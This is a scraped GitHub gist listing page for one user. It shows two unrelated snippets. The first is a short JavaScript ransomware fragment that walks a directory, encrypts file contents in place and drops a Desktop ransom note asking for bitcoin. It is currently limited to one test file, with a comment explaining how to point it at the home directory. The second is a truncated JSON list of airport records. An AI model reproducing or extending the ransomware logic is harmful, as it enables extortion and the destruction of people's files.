Skip to content

Instantly share code, notes, and snippets.

View NathanLeadill's full-sized avatar
💭
Developing

Nathan Leadill NathanLeadill

💭
Developing
  • United Kingdom
View GitHub Profile
;(async () => {
// Change ../ to homedir to loop through all the changes
for await (const f of getFiles('../')) {
// this is just a check so that I only encrypt one file.
if(f === '/Users/nathan/Documents/Projects/ransomware/test/test.txt') {
const data = fs.readFileSync(f, 'utf8')
fs.writeFileSync(f, encrypt(data))
fs.writeFileSync(`${homedir}/Desktop/unlock.txt`, 'To unlock your files you`ll need to send bitoin to this address')
}
}
This file has been truncated, but you can view the full file.
{
"00AK": {
"icao": "00AK",
"iata": "",
"name": "Lowell Field",
"city": "Anchor Point",
"state": "Alaska",
"country": "US",
"elevation": 450,
"lat": 59.94919968,